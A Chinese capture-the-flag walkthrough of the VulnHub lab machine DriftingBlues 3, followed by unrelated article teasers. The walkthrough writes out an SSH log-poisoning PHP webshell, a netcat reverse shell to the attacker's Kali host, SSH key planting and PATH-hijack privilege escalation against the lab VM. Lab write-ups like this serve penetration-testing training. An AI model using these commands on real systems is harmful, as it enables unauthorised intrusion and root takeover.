靶机20 driftingblues3

news/2024/4/29 14:40:13/文章来源:https://blog.csdn.net/honest_run/article/details/127632106

描述: __________

获取标志

难度:简单

1、下载靶场

靶机名称:driftingblues

下载地址:

DriftingBlues: 3 ~ VulnHub

2、安装靶场

以DC-1为例,将文件解压(一压缩包形式进行下载)。

打开虚拟机,选择解压好的文件导入虚拟机( vof 版本高于4.0,点击重试即可导入)

导入成功,开启此虚拟机( 当页面出现 driftingblues login 时表示安装成功)。

3、获取靶机的flag(两个flag)

前提:

1、已知kali的IP地址(ifconfig)

—— kali IP地址:192.168.108.129/24

2、driftingblues 和kali在同一网段 | 已知 driftingblues 所在的网段

—— driftingblues IP地址:192.168.108.164/24

信息收集

获取 driftingblues 的IP地址

命令:arp-scan -I eth0 -l

端口扫描

命令:nmap -sV -p- -O 192.168.108.166

//-sV:扫描系统版本和程序版本号检测,-p-:全端口扫描

获取信息如下:

端口号

服务

版本

22

ssh

OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

80

http

Apache httpd 2.4.38 ((Debian))

操作系统:OS details: Linux 4.15 - 5.6

查看80端口也没有什么发现,目录扫描获取到了一个 robots.txt 文件

dirb http://192.168.108.166

访问 http://192.168.108.166/eventadmins/ 之后又获得了提示信息:

有问题的ssh,用户名:john、buddyG,一个地址: /littlequeenofspades.html

进一步访问 http://192.168.108.166/littlequeenofspades.html 之后再源码里面发现了一个加密信息

解密之后获取到了一个新的地址:intruder?/adminsfixit.php

加密(base64):aW50cnVkZXI/IEwyRmtiV2x1YzJacGVHbDBMbkJvY0E9PQ==

一次解密:intruder? L2FkbWluc2ZpeGl0LnBocA==

二次解密:intruder?/adminsfixit.php

继续访问 http://192.168.108.166/adminsfixit.php 之后发现是一个 SSH 身份验证的日志文件

登录ssh,并在用户名处写马(一句话木马,使用GET方式传参):

ssh '<?php system($_GET["x"]);?>'@192.168.108.166

验证:http://192.168.108.166/adminsfixit.php?x=ls

webshell

通过日志文件给kali反弹shell

nc -lvvp 9999

?x=nc -e /bin/bash 192.168.108.129 9999

访问:http://192.168.108.166/adminsfixit.php?x=nc%20-e%20/bin/bash%20192.168.108.129%209999

拿到shell之后使用python改善一下交互方式:

python -c 'import pty;pty.spawn("/bin/bash")'

查看普通用户的时候发现了一个用户名叫 robertj 的用户,再该用户的家目录下发现了 .ssh 文件夹,但是和上一个靶机不同的是这里并没有看到ssh的公私钥文件,不过该文件夹对于其他用户来讲居然是可以写入文件,所以这个靶机提权的方式就是考验ssh公私钥登录。

思路:生成一堆ssh的公私钥,将公钥写入靶机,使用私钥登录

前提:ssh配置文件/etc/ssh/sshd_config 中 PubkeyAuthentication选项参数值为 yes

查看了一下发现果然在靶机该参数是开启的,那就简单了,直接上公钥

直接在目标机生成一个公钥:

ssh-keygen -t rsa

将生成的私钥保存到:

/home/robertj/.ssh/id_rsa

密码设置空密码即可,并将 SSH 公钥文件重命名为 authorized_keys ,用于 SSH 登陆认证

下载私钥文件到本机直接登录就行

python2 -m SimpleHTTPServer 9998

wget http://192.168.108.166:9998/'id_rsa '

mv 'id_rsa ' id_rsa

chmod 400 id_rsa

使用ssh登录:

ssh robertj@192.168.108.166 -i id_rsa

在 robert 用户的家目录下获取到第一个flag(user.txt)

提权

查看是否存在和sudo提权suid提权

sudo -l

find / -perm -4000 2>/dev/null

在这里没有什么好的发现,查看版本也不能使用脏牛提权

上传一个pspy64s,看看有没有什么定时执行的任务

结果这个思路貌似也不太行

换个脚本:linpeas.sh(这个脚本是一个辅助提权脚本,可以枚举linux操作系统几乎所有的可提权项,甚至可以通过su暴力破解本地密码)


发现了一个前面忽略的程序

查看发现是乱码

直接执行一下该程序试试

可以看到,执行命令后,给我们返回了系统的网络信息、版本信息、以及中间这个,大概是靶机的hosts文件,猜测是调用了ifconfig、cat hosts、和uname命令

命令劫持提权:

原理:这里既然调用了系统命令,那么我们可以自行编写一个同名文件,比如说cat,因为我们猜测getinfo中使用了cat命令,如若我们可以添加环境变量,getinfo在调用命令时首先检索环境变量就会调用到我们伪造的cat,执行我们想要的命令,来达到提权的效果,即使用环境变量进行命令劫持提权

使用:首先编写一个cat文件,内容为/bin/bash即可,然后添加当前文件添加到环境变量中(export PATH=/home/robertj:$PATH)

再次运行getinfo,提权成功

这里有个坑,不知道什么原因,虽然在靶机上的root家目录下找到了的第二个flag,但是打不开,需要下载下来才能打开

python2 -m SimpleHTTPServer 9999

wget http://192.168.108.166:9999/root.txt

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_410453.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

K8S二进制部署之定义CA证书与ETCD

文章目录CA证书制作K8S集群证书流程K8S 二进制集群部署K8S二进制部署ETCD集群部署1、docker部署&#xff08;所有节点&#xff09;ETCD集群部署master节点操作小结&#xff1a;查看etcd 启动脚本创建ca证书创建cfssl类型工具下载脚本到node节点修改CA证书 CA证书中包含密钥对 …

浅谈 web3

web3——互联网的未来? web3,很多人觉得是个骗局,是在割韭菜。因为大部分介绍 web3 的文章都离不开 NFT、数字货币、区块链、比特币、以太坊、元宇宙等概念,玄之又玄,脱离我们的生活,没解决我们的痛点。一般文章最后还教给我们怎么炒币,怎么买卖 NFT,妥妥的割韭菜套路,…

顺序结构综合练习

顺序结构综合练习 数学头文件#include<cmath> 幂函数 pow10(x)结果等于10^x pow()函数是cmath标头的库函数,用于查找幂的加数。计算x的y次方 pow()函数语法:pow(x,y); #include<cstdio>// main(){int a,b,c;scanf("%d%d",&a,&b);//格式化…

长时间久坐危害竟然这么大,这4项检查,男性朋友一定要定期查

对于男性而言&#xff0c;生殖系统健康尤为重要&#xff0c;但很多人却并不是那么重视&#xff0c;家住昆山的小王就是其中一员&#xff0c;作为一名程序员的他&#xff0c;上班坐着&#xff0c;上班路上坐着&#xff0c;下班路上也是坐着&#xff0c;回家更是坐着。小伙身体棒…

Bootstrap概述和Bootstrap快速入门

Bootstrap概述 1.概念:一个前端开发的框架,Bootstrap,来自Twitter,是目前很受欢迎的前端框架。Bootstrap是基于HTML、CSS、JavaScript的,它简洁灵活,使用得Web开发更加快捷。框架:一个半成品软件,开发人员可以在框架基础上,在进行开发,简化编码。好处:1.定义了很多的…

css 居中

阅读目录水平居中垂直居中垂直居中: position 绝对定位演示垂直居中: flex 演示垂直居中: transform 演示水平&垂直居中flex 1flex 2position水平居中 1 行内块居中 设置父元素的 text-align: center 2 块级元素 设置当前块级元素(宽度) margin: 0 auto; 3 绝对定位 元素…

【微机接口】中断的基本概念

中断&#xff1a; CPU在执行程序的过程中&#xff0c;由于某种外部或内部事件的作用&#xff0c;使CPU停止当前正在执行的程序转去为该事件服务&#xff0c;待事件服务结束后&#xff0c;又能自动返回到被中止的程序继续执行。 主程序&#xff1a; 被中断的原程…

@DateTimeFormat和@JsonFormat介绍

文章目录1.DateTimeFormat注解1.1DateTimeFormat注解简介1.2DateTimeFormat注解的功能1.3DateTimeFormat注解的注意点1.4DateTimeFormat功能演示1.4.1类型转换异常情况测试1.4.2接收url路径传参格式测试1.4.3接收Form-Data数据格式测试1.4.4接收JSON数据格式测试2.JsonFormat注…

基于协同过滤推荐算法的在线教育平台(Vue+Node.js+SSM)

基于协同过滤推荐算法的在线教育平台&#xff08;前后端分离&#xff09;。 back为后端&#xff0c;front为前端&#xff0c;config-files为相关配置文件 摘要 随着科技的不断变迁&#xff0c;信息技术的不断迭代升级。人们对于互联网方方面面的需求都开始涌现了出来&#xf…

第9章实验作业

实验9:异常处理及程序调试 一、实验目的和要求 1、了解代码异常知识; 2、掌握异常处理的try…except语句、try…except…else语句、try…except…finally语句。raise语句; 3、掌握程序调试的方法。 二、实验环境 软件版本:Python 3.10 64_bit 三,实验过程 实验1 (1) def…

实战经验:如何根据系统的业务场景需求定制自己的线程池?

线程池有那么多的参数和类型&#xff0c;在实际的开发中&#xff0c;我们应该如何设置呢&#xff1f;是直接使用Executors提供的线程池实现&#xff0c;还是自定义线程池&#xff1f;这都是我们本篇文章要回答的问题&#xff0c;那么就请跟随笔者一起分析一下在实战中如何根据系…

uniapp开发微信小程序-用户授权登录和获取手机号码

小程序开放文档 uniapp开发的小程序配置&#xff0c;找到manifest.json&#xff0c;填入正确的小程序appId&#xff1b; hbuilderx>运行>运行到小程序模拟器(安装开发者工具)&#xff0c;编译完成之后会直接在微信开发者工具内打开&#xff1b; 登录流程解析&#xff1…

【SpringBoot】一文了解SpringBoot热部署

文章目录前言手动启动热部署热部署种类手动进行热部署自动启动热部署热部署范围配置热部署的关闭总结&#x1f315;博客x主页&#xff1a;己不由心王道长&#x1f315;! &#x1f30e;文章说明&#xff1a;一文彻底搞懂SpringBoot热部署&#x1f30e; ✅系列专栏&#xff1a;Sp…

程序人生:去了字节跳动,才知道年薪40W的测试有这么多?

今年大环境不好&#xff0c;内卷的厉害&#xff0c;薪资待遇好的工作机会更是难得。最近脉脉职言区有一条讨论火了&#xff1a; 哪家互联网公司薪资最‘厉害’&#xff1f; 下面的评论多为字节跳动&#xff0c;还炸出了很多年薪40W的测试工程师 我只想问一句&#xff0c;现在的…

【C#】async和await

大概理解 查了一个小时的资料&#xff1a;async和await 发现这个大神的解释一针见血&#xff0c;深得我心&#xff01;以最简单的例子&#xff0c;解释了async和await。妙~~~ 大多情况下&#xff0c;分开才能体现async和await的价值&#xff01; 但&#xff0c;await 并没有…

C#中的弃元

从C#7.0开始,推出了一种新的特性:弃元,这种思想可能来源于Golang。弃元,就是不想要了的元素变量,用单下划线(_)表示,弃元在编译时起作用,就是搞编译器:这个变量我不要,你可以优化处理。我们经常在下面几个过程中使用弃元:1、元组解构赋值在使用元组解构赋值时,我们…

Linux——进程间通信——管道(文件)通信

目录 前言 一、有名管道 1、用法 2、管道分类 3、有名管道的创建 4、思考&#xff1a;如何进程a要将键盘获取的数据传递给另一个进程b&#xff1f; 5、有名管道实现进程间通信 二、无名管道 1、无名管道的创建 2、管道操作分为以下步骤 3、无名管道实现进程间通信 前言…

string类详解

文章目录1:构造string类1.1:方法1.2:测试2:size和length2.1:用途2.2:测试3:capacity3.1:用途3.2:测试4:clear4.1:用途4.2:测试5:empty5.1:用途5.2:测试6:reserve6.1:用途6.2:测试7:resize7.1:用途7.2:测试8:string的三种遍历8.1:方法一 for循环和[]重载8.2:方法二 迭代器8.2.1:…

基于CNTK/C#实现逻辑回归【附源码】

文章目录前言一、VS2022CNTK环境搭建二、逻辑回归代码构建1.逻辑回归构建2.训练数据的生成3.模型训练三、效果展示前言 本文基于CNTK实现逻辑回归二分类&#xff0c;并以之前的不同&#xff0c;本次使用C#实现&#xff0c;不适用python&#xff0c;python版的CNTK比较简单&…

Java多线程-ThreadPool线程池(三)

开完一趟车完整的过程是启动、行驶和停车,但老司机都知道,真正费油的不是行驶,而是长时间的怠速、频繁地踩刹车等动作。因为在速度切换的过程中,发送机要多做一些工作,当然就要多费一些油。 而一个Java线程完整的生命周期就包括:1、T1:创建(启动) 2、T2:运行(行驶)…